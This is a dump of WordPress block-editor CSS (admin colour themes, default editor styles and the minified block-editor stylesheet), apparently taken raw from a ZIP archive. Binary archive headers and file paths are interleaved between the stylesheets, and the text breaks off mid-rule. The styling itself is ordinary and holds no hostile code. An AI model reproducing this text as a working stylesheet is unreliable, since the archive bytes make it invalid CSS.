(min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}PK1Xd[-Z__/dist/block-editor/default-editor-styles-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}
body{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:18px;
  line-height:1.5;
  --wp--style--block-gap:2em;
}

p{
  line-height:1.8;
}

.editor-post-title__block{
  font-size:2.5em;
  font-weight:800;
  margin-bottom:1em;
  margin-top:2em;
}PK1Xd[���mF�F�dist/block-editor/style.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-autocompleters__block{white-space:nowrap}.block-editor-autocompleters__block .block-editor-block-icon{margin-right:8px}.block-editor-autocompleters__block[aria-selected=true] .block-editor-block-icon{color:inherit!important}.block-editor-autocompleters__link{white-space:nowrap}.block-editor-autocompleters__link .block-editor-block-icon{margin-right:8px}.block-editor-global-styles-background-panel__inspector-media-replace-container{border:1px solid #ddd;border-radius:2px;grid-column:1/-1}.block-editor-global-styles-background-panel__inspector-media-replace-container.is-open{background-color:#f0f0f0}.block-editor-global-styles-background-panel__inspector-media-replace-container .block-editor-global-styles-background-panel__image-tools-panel-item{border:0;flex-grow:1}.block-editor-global-styles-background-panel__inspector-media-replace-container .block-editor-global-styles-background-panel__image-tools-panel-item .components-dropdown{display:block}.block-editor-global-styles-background-panel__inspector-media-replace-container .block-editor-global-styles-background-panel__inspector-preview-inner{height:100%}.block-editor-global-styles-background-panel__inspector-media-replace-container .components-dropdown{display:block}.block-editor-global-styles-background-panel__inspector-media-replace-container .components-dropdown .block-editor-global-styles-background-panel__dropdown-toggle{height:40px}.block-editor-global-styles-background-panel__image-tools-panel-item{border:1px solid #ddd;grid-column:1/-1;position:relative}.block-editor-global-styles-background-panel__image-tools-panel-item .components-drop-zone__content-icon{display:none}.block-editor-global-styles-background-panel__image-tools-panel-item .components-dropdown{display:block}.block-editor-global-styles-background-panel__image-tools-panel-item button.components-button{color:#1e1e1e;display:block;width:100%}.block-editor-global-styles-background-panel__image-tools-panel-item button.components-button:hover{color:var(--wp-admin-theme-color)}.block-editor-global-styles-background-panel__image-tools-panel-item button.components-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-global-styles-background-panel__image-tools-panel-item .block-editor-global-styles-background-panel__loading{height:100%;padding:10px 0 0;position:absolute;width:100%;z-index:1}.block-editor-global-styles-background-panel__image-tools-panel-item .block-editor-global-styles-background-panel__loading svg{margin:0}.block-editor-global-styles-background-panel__dropdown-toggle,.block-editor-global-styles-background-panel__image-preview-content{height:100%;padding-left:12px;width:100%}.block-editor-global-styles-background-panel__dropdown-toggle{background:#0000;border:none;cursor:pointer}.block-editor-global-styles-background-panel__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-editor-global-styles-background-panel__inspector-preview-inner .block-editor-global-styles-background-panel__inspector-image-indicator-wrapper{height:20px;min-width:auto;width:20px}.block-editor-global-styles-background-panel__inspector-image-indicator{background-size:cover;border-radius:50%;display:block;height:20px;position:relative;width:20px}.block-editor-global-styles-background-panel__inspector-image-indicator:after{border:1px solid #0000;border-radius:50%;bottom:-1px;box-shadow:inset 0 0 0 1px #0003;box-sizing:inherit;content:"";left:-1px;position:absolute;right:-1px;top:-1px}.block-editor-global-styles-background-panel__dropdown-content-wrapper{min-width:260px;overflow-x:hidden}.block-editor-global-styles-background-panel__dropdown-content-wrapper .components-focal-point-picker-wrapper{background-color:#f0f0f0;border:1px solid #ddd;border-radius:2px;width:100%}.block-editor-global-styles-background-panel__dropdown-content-wrapper .components-focal-point-picker__media--image{max-height:180px}.block-editor-global-styles-background-panel__dropdown-content-wrapper .components-focal-point-picker:after{content:none}.modal-open .block-editor-global-styles-background-panel__popover{z-index:159890}.block-editor-global-styles-background-panel__media-replace-popover .components-popover__content{width:226px}.block-editor-global-styles-background-panel__media-replace-popover .components-button{padding:0 8px}.block-editor-global-styles-background-panel__media-replace-popover .components-button .components-menu-items__item-icon.has-icon-right{margin-left:16px}.block-editor-block-alignment-control__menu-group .components-menu-item__info{margin-top:0}iframe[name=editor-canvas]{background-color:#ddd;box-sizing:border-box;display:block;height:100%;width:100%}@media not (prefers-reduced-motion){iframe[name=editor-canvas]{transition:all .4s cubic-bezier(.46,.03,.52,.96)}}.block-editor-block-icon{align-items:center;display:flex;height:24px;justify-content:center;width:24px}.block-editor-block-icon.has-colors svg{fill:currentColor}@media (forced-colors:active){.block-editor-block-icon.has-colors svg{fill:CanvasText}}.block-editor-block-icon svg{max-height:24px;max-width:24px;min-height:20px;min-width:20px}.block-editor-block-inspector p:not(.components-base-control__help){margin-top:0}.block-editor-block-inspector h2,.block-editor-block-inspector h3{color:#1e1e1e;font-size:13px;margin-bottom:1.5em}.block-editor-block-inspector .components-base-control:where(:not(:last-child)),.block-editor-block-inspector .components-radio-control:where(:not(:last-child)){margin-bottom:16px}.block-editor-block-inspector .components-focal-point-picker-control .components-base-control,.block-editor-block-inspector .components-query-controls .components-base-control,.block-editor-block-inspector .components-range-control .components-base-control{margin-bottom:0}.block-editor-block-inspector .components-panel__body{border:none;border-top:1px solid #e0e0e0;margin-top:-1px}.block-editor-block-inspector__no-block-tools,.block-editor-block-inspector__no-blocks{background:#fff;display:block;font-size:13px;padding:32px 16px;text-align:center}.block-editor-block-inspector__no-block-tools{border-top:1px solid #ddd}.block-editor-block-list__insertion-point{bottom:0;left:0;position:absolute;right:0;top:0}.block-editor-block-list__insertion-point-indicator{background:var(--wp-admin-theme-color);border-radius:2px;opacity:0;position:absolute;transform-origin:center;will-change:transform,opacity}.block-editor-block-list__insertion-point.is-vertical>.block-editor-block-list__insertion-point-indicator{height:4px;top:calc(50% - 2px);width:100%}.block-editor-block-list__insertion-point.is-horizontal>.block-editor-block-list__insertion-point-indicator{bottom:0;left:calc(50% - 2px);top:0;width:4px}.block-editor-block-list__insertion-point-inserter{display:none;justify-content:center;left:calc(50% - 12px);position:absolute;top:calc(50% - 12px);will-change:transform}@media (min-width:480px){.block-editor-block-list__insertion-point-inserter{display:flex}}.block-editor-block-list__block-side-inserter-popover .components-popover__content>div{pointer-events:none}.block-editor-block-list__block-side-inserter-popover .components-popover__content>div>*{pointer-events:all}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter{line-height:0;position:absolute;right:0;top:0}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter:disabled{display:none}.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{background:#1e1e1e;color:#fff;height:24px;min-width:24px;padding:0}.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{background:var(--wp-admin-theme-color)}.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{background:#1e1e1e}@keyframes hide-during-dragging{to{position:fixed;transform:translate(9999px,9999px)}}.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar{border:1px solid #1e1e1e;border-radius:2px;margin-bottom:8px;margin-top:8px;overflow:visible;pointer-events:all;position:static;width:auto}.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{margin-left:56px}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{margin-left:0}.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar{overflow:visible}.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar,.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar-group{border-right-color:#1e1e1e}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar{background-color:#1e1e1e;color:#f0f0f0}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar.block-editor-block-contextual-toolbar{border-color:#2f2f2f}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button{color:#ddd}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button:hover{color:#fff}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button:focus:before{box-shadow:inset 0 0 0 1px #1e1e1e,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button:disabled,.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button[aria-disabled=true]{color:#757575}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .block-editor-block-parent-selector .block-editor-block-parent-selector__button{background-color:#1e1e1e;border-color:#2f2f2f}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .block-editor-block-switcher__toggle{color:#f0f0f0}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .components-toolbar,.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .components-toolbar-group{border-right-color:#2f2f2f!important}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .is-pressed{color:var(--wp-admin-theme-color)}.components-popover.block-editor-block-list__block-popover.is-insertion-point-visible{visibility:hidden}.is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover{opacity:0}@media not (prefers-reduced-motion){.is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover{animation:hide-during-dragging 1ms linear forwards}}.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{left:-57px;position:absolute}.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector:before{content:""}.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{background-color:#fff;border:1px solid #1e1e1e;padding-left:6px;padding-right:6px}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{padding-left:12px;padding-right:12px}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{left:auto;margin-left:-1px;position:relative}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-mover__move-button-container,.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar__block-controls .block-editor-block-mover{border-left:1px solid #1e1e1e}.is-dragging-components-draggable .components-tooltip{display:none}.components-popover.block-editor-block-popover__inbetween .block-editor-button-pattern-inserter__button{left:50%;pointer-events:all;position:absolute;top:50%;transform:translateX(-50%) translateY(-50%)}.block-editor-block-lock-modal{z-index:1000001}@media (min-width:600px){.block-editor-block-lock-modal .components-modal__frame{max-width:480px}}.block-editor-block-lock-modal__options legend{margin-bottom:16px;padding:0}.block-editor-block-lock-modal__checklist{margin:0}.block-editor-block-lock-modal__options-all{padding:12px 0}.block-editor-block-lock-modal__options-all .components-checkbox-control__label{font-weight:600}.block-editor-block-lock-modal__checklist-item{align-items:center;display:flex;gap:12px;justify-content:space-between;margin-bottom:0;padding:12px 0 12px 32px}.block-editor-block-lock-modal__checklist-item .block-editor-block-lock-modal__lock-icon{flex-shrink:0;margin-right:12px;fill:#1e1e1e}.block-editor-block-lock-modal__checklist-item:hover{background-color:#f0f0f0;border-radius:2px}.block-editor-block-lock-modal__template-lock{border-top:1px solid #ddd;margin-top:16px;padding-top:16px}.block-editor-block-lock-modal__actions{margin-top:24px}.block-editor-block-lock-toolbar .components-button.has-icon{min-width:36px!important}.block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{margin-left:-6px!important}.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{border-left:1px solid #1e1e1e;margin-left:6px!important;margin-right:-6px}.block-editor-block-breadcrumb{list-style:none;margin:0;padding:0}.block-editor-block-breadcrumb li{display:inline-flex;margin:0}.block-editor-block-breadcrumb li .block-editor-block-breadcrumb__separator{fill:currentColor;margin-left:-4px;margin-right:-4px;transform:scaleX(1)}.block-editor-block-breadcrumb li:last-child .block-editor-block-breadcrumb__separator{display:none}.block-editor-block-breadcrumb__current{cursor:default}.block-editor-block-breadcrumb__button.block-editor-block-breadcrumb__button,.block-editor-block-breadcrumb__current{color:#1e1e1e;font-size:inherit;padding:0 8px}.block-editor-block-card{align-items:flex-start;color:#1e1e1e;display:flex;padding:16px}.block-editor-block-card__title{align-items:center;display:flex;flex-wrap:wrap;font-weight:500;gap:4px 8px}.block-editor-block-card__title.block-editor-block-card__title{font-size:13px;line-height:1.4;margin:0}.block-editor-block-card__name{padding:3px 0}.block-editor-block-card .block-editor-block-icon{flex:0 0 24px;height:24px;margin-left:0;margin-right:12px;width:24px}.block-editor-block-card.is-synced .block-editor-block-icon{color:var(--wp-block-synced-color)}.block-editor-block-compare{height:auto}.block-editor-block-compare__wrapper{display:flex;padding-bottom:16px}.block-editor-block-compare__wrapper>div{display:flex;flex-direction:column;justify-content:space-between;max-width:600px;min-width:200px;padding:0 16px 0 0;width:50%}.block-editor-block-compare__wrapper>div button{float:right}.block-editor-block-compare__wrapper .block-editor-block-compare__converted{border-left:1px solid #ddd;padding-left:15px;padding-right:0}.block-editor-block-compare__wrapper .block-editor-block-compare__html{border-bottom:1px solid #ddd;color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:12px;line-height:1.7;padding-bottom:15px}.block-editor-block-compare__wrapper .block-editor-block-compare__html span{background-color:#e6ffed;padding-bottom:3px;padding-top:3px}.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__added{background-color:#acf2bd}.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__removed{background-color:#cc1818}.block-editor-block-compare__wrapper .block-editor-block-compare__preview{padding:16px 0 0}.block-editor-block-compare__wrapper .block-editor-block-compare__preview p{font-size:12px;margin-top:0}.block-editor-block-compare__wrapper .block-editor-block-compare__action{margin-top:16px}.block-editor-block-compare__wrapper .block-editor-block-compare__heading{font-size:1em;font-weight:400;margin:.67em 0}.block-editor-block-draggable-chip-wrapper{left:0;position:absolute;top:-24px}.block-editor-block-draggable-chip{background-color:#1e1e1e;border-radius:2px;box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;color:#fff;cursor:grabbing;display:inline-flex;height:48px;padding:0 13px;position:relative;-webkit-user-select:none;user-select:none;width:max-content}.block-editor-block-draggable-chip svg{fill:currentColor}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content{justify-content:flex-start;margin:auto}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item{margin-right:6px}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item:last-child{margin-right:0}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content .block-editor-block-icon svg{min-height:18px;min-width:18px}.block-editor-block-draggable-chip .components-flex__item{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{align-items:center;background-color:initial;bottom:0;display:flex;justify-content:center;left:0;opacity:0;position:absolute;right:0;top:0}@media not (prefers-reduced-motion){.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{transition:all .1s linear .1s}}.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled .block-editor-block-draggable-chip__disabled-icon{background:#0000 linear-gradient(-45deg,#0000 47.5%,#fff 0,#fff 52.5%,#0000 0);border-radius:50%;box-shadow:inset 0 0 0 1.5px #fff;display:inline-block;height:20px;padding:0;width:20px}.block-draggable-invalid-drag-token .block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{background-color:#757575;box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;opacity:1}.block-editor-block-manager__no-results{font-style:italic;padding:24px 0;text-align:center}.block-editor-block-manager__search{margin:16px 0}.block-editor-block-manager__disabled-blocks-count{background-color:#fff;border:1px solid #ddd;border-width:1px 0;box-shadow:-32px 0 0 0 #fff,32px 0 0 0 #fff;padding:8px;position:sticky;text-align:center;top:-5px;z-index:2}.block-editor-block-manager__disabled-blocks-count~.block-editor-block-manager__results .block-editor-block-manager__category-title{top:31px}.block-editor-block-manager__disabled-blocks-count .is-link{margin-left:12px}.block-editor-block-manager__category{margin:0 0 24px}.block-editor-block-manager__category-title{background-color:#fff;padding:16px 0;position:sticky;top:-4px;z-index:1}.block-editor-block-manager__category-title .components-checkbox-control__label{font-weight:600}.block-editor-block-manager__checklist{margin-top:0}.block-editor-block-manager__category-title,.block-editor-block-manager__checklist-item{border-bottom:1px solid #ddd}.block-editor-block-manager__checklist-item{align-items:center;display:flex;justify-content:space-between;margin-bottom:0;padding:8px 0 8px 16px}.components-modal__content .block-editor-block-manager__checklist-item.components-checkbox-control__input-container{margin:0 8px}.block-editor-block-manager__checklist-item .block-editor-block-icon{margin-right:10px;fill:#1e1e1e}.block-editor-block-manager__results{border-top:1px solid #ddd}.block-editor-block-manager__disabled-blocks-count+.block-editor-block-manager__results{border-top-width:0}.block-editor-block-mover__move-button-container{border:none;display:flex;justify-content:center;padding:0}@media (min-width:600px){.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{flex-direction:column}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>*{height:20px;min-width:0!important;width:100%}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>:before{height:calc(100% - 4px)}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{flex-shrink:0;top:3px}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{bottom:3px;flex-shrink:0}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{width:48px}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container>*{min-width:0!important;overflow:hidden;width:24px}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button{padding-left:0;padding-right:0}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{left:5px}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{right:5px}}.block-editor-block-mover__drag-handle{cursor:grab}@media (min-width:600px){.block-editor-block-mover__drag-handle{min-width:0!important;overflow:hidden;width:24px}.block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon.has-icon{padding-left:0;padding-right:0}}.components-button.block-editor-block-mover-button{overflow:hidden}.components-button.block-editor-block-mover-button:before{border-radius:2px;content:"";display:block;height:32px;left:8px;position:absolute;right:8px;z-index:-1}@media not (prefers-reduced-motion){.components-button.block-editor-block-mover-button:before{animation:components-button__appear-animation .1s ease;animation-fill-mode:forwards}}.components-button.block-editor-block-mover-button:focus,.components-button.block-editor-block-mover-button:focus:before,.components-button.block-editor-block-mover-button:focus:enabled{box-shadow:none;outline:none}.components-button.block-editor-block-mover-button:focus-visible:before{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-block-navigation__container{min-width:280px}.block-editor-block-navigation__label{color:#757575;font-size:11px;font-weight:500;margin:0 0 12px;text-transform:uppercase}.block-editor-block-patterns-list__list-item{cursor:pointer;margin-bottom:16px;position:relative}.block-editor-block-patterns-list__list-item.is-placeholder{min-height:100px}.block-editor-block-patterns-list__list-item[draggable=true]{cursor:grab}.block-editor-block-patterns-list__item{height:100%;outline:0;scroll-margin-bottom:56px;scroll-margin-top:24px}.block-editor-block-patterns-list__item .block-editor-block-patterns-list__item-title{flex-grow:1;font-size:12px;text-align:left}.block-editor-block-patterns-list__item .block-editor-block-preview__container{align-items:center;border-radius:4px;display:flex;overflow:hidden}.block-editor-block-patterns-list__item .block-editor-block-preview__container:after{border-radius:4px;outline:1px solid #0000001a;outline-offset:-1px}@media not (prefers-reduced-motion){.block-editor-block-patterns-list__item .block-editor-block-preview__container:after{transition:outline .1s linear}}.block-editor-block-patterns-list__item.is-selected .block-editor-block-preview__container:after{outline-color:#1e1e1e;outline-offset:calc(var(--wp-admin-border-width-focus)*-1);outline-width:var(--wp-admin-border-width-focus)}.block-editor-block-patterns-list__item:hover .block-editor-block-preview__container:after{outline-color:#0000004d}.block-editor-block-patterns-list__item[data-focus-visible] .block-editor-block-preview__container:after{outline-color:var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-1);outline-width:var(--wp-admin-border-width-focus)}.block-editor-block-patterns-list__item .block-editor-patterns__pattern-details:not(:empty){align-items:center;margin-top:8px;padding-bottom:4px}.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper{height:24px;min-width:24px}.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper .block-editor-patterns__pattern-icon{fill:var(--wp-block-synced-color)}.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination{border-top:1px solid #2f2f2f;justify-content:center;padding:4px}.show-icon-labels .block-editor-patterns__grid-pagination-button{width:auto}.show-icon-labels .block-editor-patterns__grid-pagination-button span{display:none}.show-icon-labels .block-editor-patterns__grid-pagination-button:before{content:attr(aria-label)}.components-popover.block-editor-block-popover{margin:0!important;pointer-events:none;position:absolute;z-index:31}.components-popover.block-editor-block-popover .components-popover__content{margin:0!important;min-width:auto;overflow-y:visible;width:max-content}.components-popover.block-editor-block-popover:not(.block-editor-block-popover__inbetween,.block-editor-block-popover__drop-zone,.block-editor-block-list__block-side-inserter-popover) .components-popover__content *{pointer-events:all}.components-popover.block-editor-block-popover__inbetween,.components-popover.block-editor-block-popover__inbetween *{pointer-events:none}.components-popover.block-editor-block-popover__inbetween .is-with-inserter,.components-popover.block-editor-block-popover__inbetween .is-with-inserter *{pointer-events:all}.components-popover.block-editor-block-popover__drop-zone *{pointer-events:none}.components-popover.block-editor-block-popover__drop-zone .block-editor-block-popover__drop-zone-foreground{background-color:var(--wp-admin-theme-color);border-radius:2px;inset:0;position:absolute}.block-editor-block-preview__container{overflow:hidden;position:relative;width:100%}.block-editor-block-preview__container .block-editor-block-preview__content{left:0;margin:0;min-height:auto;overflow:visible;text-align:initial;top:0;transform-origin:top left;width:100%}.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__insertion-point,.block-editor-block-preview__container .block-editor-block-preview__content .block-list-appender{display:none}.block-editor-block-preview__container:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:1}.block-editor-block-rename-modal{z-index:1000001}.block-editor-block-styles__preview-panel{display:none;z-index:90}@media (min-width:782px){.block-editor-block-styles__preview-panel{display:block}}.block-editor-block-styles__preview-panel .block-editor-block-icon{display:none}.block-editor-block-styles__variants{display:flex;flex-wrap:wrap;gap:8px;justify-content:space-between}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item{box-shadow:inset 0 0 0 1px #ddd;color:#1e1e1e;display:inline-block;width:calc(50% - 4px)}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:hover{box-shadow:inset 0 0 0 1px #ddd;color:var(--wp-admin-theme-color)}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover{background-color:#1e1e1e;box-shadow:none}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active .block-editor-block-styles__item-text,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover .block-editor-block-styles__item-text{color:#fff}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:focus,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:focus{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-block-styles__variants .block-editor-block-styles__item-text{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-editor-block-styles__block-preview-container,.block-editor-block-styles__block-preview-container *{box-sizing:border-box!important}.block-editor-block-switcher{position:relative}.block-editor-block-switcher .components-button.components-dropdown-menu__toggle.has-icon.has-icon{min-width:36px}.block-editor-block-switcher__no-switcher-icon,.block-editor-block-switcher__toggle{position:relative}.components-button.block-editor-block-switcher__no-switcher-icon,.components-button.block-editor-block-switcher__toggle{display:block;height:48px;margin:0}.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.components-button.block-editor-block-switcher__toggle .block-editor-block-icon{margin:auto}.components-button.block-editor-block-switcher__no-switcher-icon{display:flex}.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{margin-left:auto;margin-right:auto;min-width:24px!important}.components-button.block-editor-block-switcher__no-switcher-icon[aria-disabled=true],.components-button.block-editor-block-switcher__no-switcher-icon[aria-disabled=true]:hover{color:#1e1e1e}.components-popover.block-editor-block-switcher__popover .components-popover__content{min-width:300px}.block-editor-block-switcher__popover-preview-container{bottom:0;left:0;pointer-events:none;position:absolute;top:-1px;width:100%}.block-editor-block-switcher__popover-preview{overflow:hidden}.block-editor-block-switcher__popover-preview .components-popover__content{background:#fff;border:1px solid #1e1e1e;border-radius:4px;box-shadow:none;outline:none;overflow:auto;width:300px}.block-editor-block-switcher__popover-preview .block-editor-block-switcher__preview{margin:16px 0;max-height:468px;overflow:hidden;padding:0 16px}.block-editor-block-switcher__popover-preview .block-editor-block-switcher__preview.is-pattern-list-preview{overflow:unset}.block-editor-block-switcher__preview-title{color:#757575;font-size:11px;font-weight:500;margin-bottom:12px;text-transform:uppercase}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon{min-width:36px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle{height:48px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{height:48px;width:48px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{padding:12px}.block-editor-block-switcher__preview-patterns-container{padding-bottom:16px}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item{margin-top:16px}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item 